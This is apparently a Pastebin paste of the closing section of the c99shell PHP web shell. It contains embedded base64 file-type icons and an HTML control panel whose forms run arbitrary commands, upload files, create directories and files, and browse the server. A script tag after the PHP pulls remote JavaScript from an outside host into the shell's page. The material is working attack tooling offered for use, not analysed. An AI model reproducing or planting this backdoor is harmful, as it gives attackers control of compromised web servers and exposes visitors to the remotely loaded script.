  2728. "dAAAdzZEaE9wwDZYpmVviR49jG12kChFmgYuj6+1xeLn7Nzj6pm20oeqypS212SJraCyxZWyz7PW".
  2729. "9c/o/87n/8DX7MHY7q/K5LfX9arB1srl/2+fzq290U14q7fCz6e2yXum30FjlClHc4eXr6bI+bTK".
  2730. "4rfW+NXe6Oby/5SvzWSHr+br8WuKrQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2731. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2732. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2733. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2734. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2735. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2736. "AAjgACsJrDRHSICDQ7IMXDgJx8EvZuIcbPBooZwbBwOMAfMmYwBCA2sEcNBjJCMYATLIOLiokocm".
  2737. "C1QskAClCxcGBj7EsNHoQAciSCC1mNAmjJgGGEBQoBHigKENBjhcCBAIzRoGFkwQMNKnyggRSRAg".
  2738. "2BHpDBUeewRV0PDHCp4BSgjw0ZGHzJQcEVD4IEHJzYkBfo4seYGlDBwgTCAAYvFE4KEBJYI4UrPF".
  2739. "CyIIK+woYjMwQQI6Cor8mKEnxR0nAhYKjHJFQYECkqSkSa164IM6LhLRrr3wwaBCu3kPFKCldkAA".
  2740. "Ow==",
  2741. "ext_doc"=>
  2742. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAggAAAP///8DAwAAA/4CAgAAAAAAAAAAAAANR".
  2743. "WErcrrCQQCslQA2wOwdXkIFWNVBA+nme4AZCuolnRwkwF9QgEOPAFG21A+Z4sQHO94r1eJRTJVmq".
  2744. "MIOrrPSWWZRcza6kaolBCOB0WoxRud0JADs=",
  2745. "ext_exe"=>
  2746. "R0lGODlhEwAOAKIAAAAAAP///wAAvcbGxoSEhP///wAAAAAAACH5BAEAAAUALAAAAAATAA4AAAM7".
  2747. "WLTcTiWSQautBEQ1hP+gl21TKAQAio7S8LxaG8x0PbOcrQf4tNu9wa8WHNKKRl4sl+y9YBuAdEqt".
  2748. "xhIAOw==",
  2749. "ext_h"=>
  2750. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANB".
  2751. "WLPc9XCASScZ8MlKCcARRwVkEAKCIBKmNqVrq7wpbMmbbbOnrgI8F+q3w9GOQOMQGZyJOspnMkKo".
  2752. "Wq/NknbbSgAAOw==",
  2753. "ext_hpp"=>
  2754. "R0lGODlhEAAQACIAACH5BAEAAAUALAAAAAAQABAAgv///wAAAAAAgICAgMDAwAAAAAAAAAAAAANF".
  2755. "WLPc9XCASScZ8MlKicobBwRkEAGCIAKEqaFqpbZnmk42/d43yroKmLADlPBis6LwKNAFj7jfaWVR".
  2756. "UqUagnbLdZa+YFcCADs=",
  2757. "ext_htaccess"=>
  2758. "R0lGODlhEAAQACIAACH5BAEAAAYALAAAAAAQABAAggAAAP8AAP8A/wAAgIAAgP//AAAAAAAAAAM6".
  2759. "WEXW/k6RAGsjmFoYgNBbEwjDB25dGZzVCKgsR8LhSnprPQ406pafmkDwUumIvJBoRAAAlEuDEwpJ".
  2760. "AAA7",
  2761. "ext_html"=>
  2762. "R0lGODlhEwAQALMAAAAAAP///2trnM3P/FBVhrPO9l6Itoyt0yhgk+Xy/WGp4sXl/i6Z4mfd/HNz".
  2763. "c////yH5BAEAAA8ALAAAAAATABAAAAST8Ml3qq1m6nmC/4GhbFoXJEO1CANDSociGkbACHi20U3P".
  2764. "KIFGIjAQODSiBWO5NAxRRmTggDgkmM7E6iipHZYKBVNQSBSikukSwW4jymcupYFgIBqL/MK8KBDk".
  2765. "Bkx2BXWDfX8TDDaFDA0KBAd9fnIKHXYIBJgHBQOHcg+VCikVA5wLpYgbBKurDqysnxMOs7S1sxIR".
  2766. "ADs=",
  2767. "ext_jpg"=>
  2768. "R0lGODlhEAAQADMAACH5BAEAAAkALAAAAAAQABAAgwAAAP///8DAwICAgICAAP8AAAD/AIAAAACA".
  2769. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARccMhJk70j6K3FuFbGbULwJcUhjgHgAkUqEgJNEEAgxEci".
  2770. "Ci8ALsALaXCGJK5o1AGSBsIAcABgjgCEwAMEXp0BBMLl/A6x5WZtPfQ2g6+0j8Vx+7b4/NZqgftd".
  2771. "FxEAOw==",
  2772. "ext_js"=>
  2773. "R0lGODdhEAAQACIAACwAAAAAEAAQAIL///8AAACAgIDAwMD//wCAgAAAAAAAAAADUCi63CEgxibH".
  2774. "k0AQsG200AQUJBgAoMihj5dmIxnMJxtqq1ddE0EWOhsG16m9MooAiSWEmTiuC4Tw2BB0L8FgIAhs".
  2775. "a00AjYYBbc/o9HjNniUAADs=",
  2776. "ext_lnk"=>
  2777. "R0lGODlhEAAQAGYAACH5BAEAAFAALAAAAAAQABAAhgAAAABiAGPLMmXMM0y/JlfFLFS6K1rGLWjO".
  2778. "NSmuFTWzGkC5IG3TOo/1XE7AJx2oD5X7YoTqUYrwV3/lTHTaQXnfRmDGMYXrUjKQHwAMAGfNRHzi".
  2779. "Uww5CAAqADOZGkasLXLYQghIBBN3DVG2NWnPRnDWRwBOAB5wFQBBAAA+AFG3NAk5BSGHEUqwMABk".
  2780. "AAAgAAAwAABfADe0GxeLCxZcDEK6IUuxKFjFLE3AJ2HHMRKiCQWCAgBmABptDg+HCBZeDAqFBWDG".
  2781. "MymUFQpWBj2fJhdvDQhOBC6XF3fdR0O6IR2ODwAZAHPZQCSREgASADaXHwAAAAAAAAAAAAAAAAAA".
  2782. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2783. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2784. "AAAAAAAAAAAAAAAAAAAAAAeZgFBQPAGFhocAgoI7Og8JCgsEBQIWPQCJgkCOkJKUP5eYUD6PkZM5".
  2785. "NKCKUDMyNTg3Agg2S5eqUEpJDgcDCAxMT06hgk26vAwUFUhDtYpCuwZByBMRRMyCRwMGRkUg0xIf".
  2786. "1lAeBiEAGRgXEg0t4SwroCYlDRAn4SmpKCoQJC/hqVAuNGzg8E9RKBEjYBS0JShGh4UMoYASBiUQ".
  2787. "ADs=",
  2788. "ext_log"=>
  2789. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAMDAwICAgICAAAAAgAAA////AAAA".
  2790. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARQEKEwK6UyBzC475gEAltJklLRAWzbClRhrK4Ly5yg7/wN".
  2791. "zLUaLGBQBV2EgFLV4xEOSSWt9gQQBpRpqxoVNaPKkFb5Eh/LmUGzF5qE3+EMIgIAOw==",
  2792. "ext_php"=>
  2793. "R0lGODlhEAAQAAAAACH5BAEAAAEALAAAAAAQABAAgAAAAAAAAAImDA6hy5rW0HGosffsdTpqvFlg".
  2794. "t0hkyZ3Q6qloZ7JimomVEb+uXAAAOw==",
  2795. "ext_pl"=>
  2796. "R0lGODlhFAAUAKL/AP/4/8DAwH9/AP/4AL+/vwAAAAAAAAAAACH5BAEAAAEALAAAAAAUABQAQAMo".
  2797. "GLrc3gOAMYR4OOudreegRlBWSJ1lqK5s64LjWF3cQMjpJpDf6//ABAA7",
  2798. "ext_swf"=>
  2799. "R0lGODlhFAAUAMQRAP+cnP9SUs4AAP+cAP/OAIQAAP9jAM5jnM6cY86cnKXO98bexpwAAP8xAP/O".
  2800. "nAAAAP///////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEA".
  2801. "ABEALAAAAAAUABQAAAV7YCSOZGme6PmsbMuqUCzP0APLzhAbuPnQAweE52g0fDKCMGgoOm4QB4GA".
  2802. "GBgaT2gMQYgVjUfST3YoFGKBRgBqPjgYDEFxXRpDGEIA4xAQQNR1NHoMEAACABFhIz8rCncMAGgC".
  2803. "NysLkDOTSCsJNDJanTUqLqM2KaanqBEhADs=",
  2804. "ext_tar"=>
  2805. "R0lGODlhEAAQAGYAACH5BAEAAEsALAAAAAAQABAAhgAAABlOAFgdAFAAAIYCUwA8ZwA8Z9DY4JIC".
  2806. "Wv///wCIWBE2AAAyUJicqISHl4CAAPD4/+Dg8PX6/5OXpL7H0+/2/aGmsTIyMtTc5P//sfL5/8XF".
  2807. "HgBYpwBUlgBWn1BQAG8aIABQhRbfmwDckv+H11nouELlrizipf+V3nPA/40CUzmm/wA4XhVDAAGD".
  2808. "UyWd/0it/1u1/3NzAP950P990mO5/7v14YzvzXLrwoXI/5vS/7Dk/wBXov9syvRjwOhatQCHV17p".
  2809. "uo0GUQBWnP++8Lm5AP+j5QBUlACKWgA4bjJQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2810. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2811. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2812. "AAAAAAAAAAAAAAAAAAAAAAeegAKCg4SFSxYNEw4gMgSOj48DFAcHEUIZREYoJDQzPT4/AwcQCQkg".
  2813. "GwipqqkqAxIaFRgXDwO1trcAubq7vIeJDiwhBcPExAyTlSEZOzo5KTUxMCsvDKOlSRscHDweHkMd".
  2814. "HUcMr7GzBufo6Ay87Lu+ii0fAfP09AvIER8ZNjc4QSUmTogYscBaAiVFkChYyBCIiwXkZD2oR3FB".
  2815. "u4tLAgEAOw==",
  2816. "ext_txt"=>
  2817. "R0lGODlhEwAQAKIAAAAAAP///8bGxoSEhP///wAAAAAAAAAAACH5BAEAAAQALAAAAAATABAAAANJ".
  2818. "SArE3lDJFka91rKpA/DgJ3JBaZ6lsCkW6qqkB4jzF8BS6544W9ZAW4+g26VWxF9wdowZmznlEup7".
  2819. "UpPWG3Ig6Hq/XmRjuZwkAAA7",
  2820. "ext_wri"=>
  2821. "R0lGODlhEAAQADMAACH5BAEAAAgALAAAAAAQABAAg////wAAAICAgMDAwICAAAAAgAAA////AAAA".
  2822. "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAARRUMhJkb0C6K2HuEiRcdsAfKExkkDgBoVxstwAAypduoao".
  2823. "a4SXT0c4BF0rUhFAEAQQI9dmebREW8yXC6Nx2QI7LrYbtpJZNsxgzW6nLdq49hIBADs=",
  2824. "ext_xml"=>
  2825. "R0lGODlhEAAQAEQAACH5BAEAABAALAAAAAAQABAAhP///wAAAPHx8YaGhjNmmabK8AAAmQAAgACA".
  2826. "gDOZADNm/zOZ/zP//8DAwDPM/wAA/wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA".
  2827. "AAAAAAAAAAAAAAAAAAVk4CCOpAid0ACsbNsMqNquAiA0AJzSdl8HwMBOUKghEApbESBUFQwABICx".
  2828. "OAAMxebThmA4EocatgnYKhaJhxUrIBNrh7jyt/PZa+0hYc/n02V4dzZufYV/PIGJboKBQkGPkEEQ".
  2829. "IQA7"
  2830.  );
  2831.  //For simple size- and speed-optimization.
  2832.  $imgequals = array(
  2833.   "ext_tar"=>array("ext_tar","ext_r00","ext_ace","ext_arj","ext_bz","ext_bz2","ext_tbz","ext_tbz2","ext_tgz","ext_uu","ext_xxe","ext_zip","ext_cab","ext_gz","ext_iso","ext_lha","ext_lzh","ext_pbk","ext_rar","ext_uuf"),
  2834.   "ext_php"=>array("ext_php","ext_php3","ext_php4","ext_php5","ext_phtml","ext_shtml","ext_htm"),
  2835.   "ext_jpg"=>array("ext_jpg","ext_gif","ext_png","ext_jpeg","ext_jfif","ext_jpe","ext_bmp","ext_ico","ext_tif","tiff"),
  2836.   "ext_html"=>array("ext_html","ext_htm"),
  2837.   "ext_avi"=>array("ext_avi","ext_mov","ext_mvi","ext_mpg","ext_mpeg","ext_wmv","ext_rm"),
  2838.   "ext_lnk"=>array("ext_lnk","ext_url"),
  2839.   "ext_ini"=>array("ext_ini","ext_css","ext_inf"),
  2840.   "ext_doc"=>array("ext_doc","ext_dot"),
  2841.   "ext_js"=>array("ext_js","ext_vbs"),
  2842.   "ext_cmd"=>array("ext_cmd","ext_bat","ext_pif"),
  2843.   "ext_wri"=>array("ext_wri","ext_rtf"),
  2844.   "ext_swf"=>array("ext_swf","ext_fla"),
  2845.   "ext_mp3"=>array("ext_mp3","ext_au","ext_midi","ext_mid"),
  2846.   "ext_htaccess"=>array("ext_htaccess","ext_htpasswd","ext_ht","ext_hta","ext_so")
  2847.  );
  2848.  if (!$getall)
  2849.  {
  2850.   header("Content-type: image/gif");
  2851.   header("Cache-control: public");
  2852.   header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  2853.   header("Cache-control: max-age=".(60*60*24*7));
  2854.   header("Last-Modified: ".date("r",filemtime(__FILE__)));
  2855.   foreach($imgequals as $k=>$v) {if (in_array($img,$v)) {$img = $k; break;}}
  2856.   if (empty($images[$img])) {$img = "small_unk";}
  2857.   if (in_array($img,$ext_tar)) {$img = "ext_tar";}
  2858.   echo base64_decode($images[$img]);
  2859.  }
  2860.  else
  2861.  {
  2862.   foreach($imgequals as $a=>$b) {foreach ($b as $d) {if ($a != $d) {if (!empty($images[$d])) {echo("Warning! Remove \$images[".$d."]<br>");}}}}
  2863.   natsort($images);
  2864.   $k = array_keys($images);
  2865.   echo  "<center>";
  2866.   foreach ($k as $u) {echo $u.":<img src=\"".$surl."act=img&img=".$u."\" border=\"1\"><br>";}
  2867.   echo "</center>";
  2868.  }
  2869.  exit;
  2870. }
  2871. if ($act == "about") {echo "<center><b>Credits:<br>www.xxx.org<br>xxx<br></b>";}
  2872. ?>
  2873. <SCRIPT SRC=http://www.shellci.biz/yazciz/ciz.js></SCRIPT>
  2874. <td></tr></table><a bookmark="minipanel"><br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  2875. <tr><td width="100%" height="1" valign="top" colspan="2"><p align="center"><b>:: <a href="<?php echo $surl; ?>act=cmd&d=<?php echo urlencode($d); ?>"><b>Command execute</b></a> ::</b></p></td></tr>
  2876. <tr><td width="50%" height="1" valign="top"><center><b>Enter: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="cmd" size="50" value="<?php echo htmlspecialchars($cmd); ?>"><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td><td width="50%" height="1" valign="top"><center><b>Select: </b><form action="<?php echo $surl; ?>act=cmd" method="POST"><input type="hidden" name="act" value="cmd"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><select name="cmd"><?php foreach ($cmdaliases as $als) {echo "<option value=\"".htmlspecialchars($als[1])."\">".htmlspecialchars($als[0])."</option>";} ?></select><input type="hidden" name="cmd_txt" value="1">&nbsp;<input type="submit" name="submit" value="Execute"></form></td></tr></TABLE>
  2877. <br>
  2878. <TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1>
  2879. <tr>
  2880.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=search&d=<?php echo urlencode($d); ?>"><b>Search</b></a> ::</b><form method="POST"><input type="hidden" name="act" value="search"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="search_name" size="29" value="(.*)">&nbsp;<input type="checkbox" name="search_name_regexp" value="1"  checked> - regexp&nbsp;<input type="submit" name="submit" value="Search"></form></center></p></td>
  2881.  <td width="50%" height="1" valign="top"><center><b>:: <a href="<?php echo $surl; ?>act=upload&d=<?php echo $ud; ?>"><b>Upload</b></a> ::</b><form method="POST" ENCTYPE="multipart/form-data"><input type="hidden" name="act" value="upload"><input type="file" name="uploadfile"><input type="hidden" name="miniform" value="1">&nbsp;<input type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td>
  2882. </tr>
  2883. </table>
  2884. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form method="POST"><input type="hidden" name="act" value="mkdir"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type="hidden" name="act" value="mkfile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type="hidden" name="ft" value="edit">&nbsp;<input type="submit" value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table>
  2885. <br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo htmlspecialchars($surl); ?>"><input type="hidden" name="act" value="gofile"><input type="hidden" name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type="submit" value="Go"></form></center></td></tr></table>
  2886. <br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ c99shell v. <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>powered by</b></u></a> GaRDeNFoX | <a href="http://www.spygrup.org"><font color="#FF0000">GaRDeNFoX</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table>
  2887. </body></html><?php chdir($lastdir); exit; ?>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!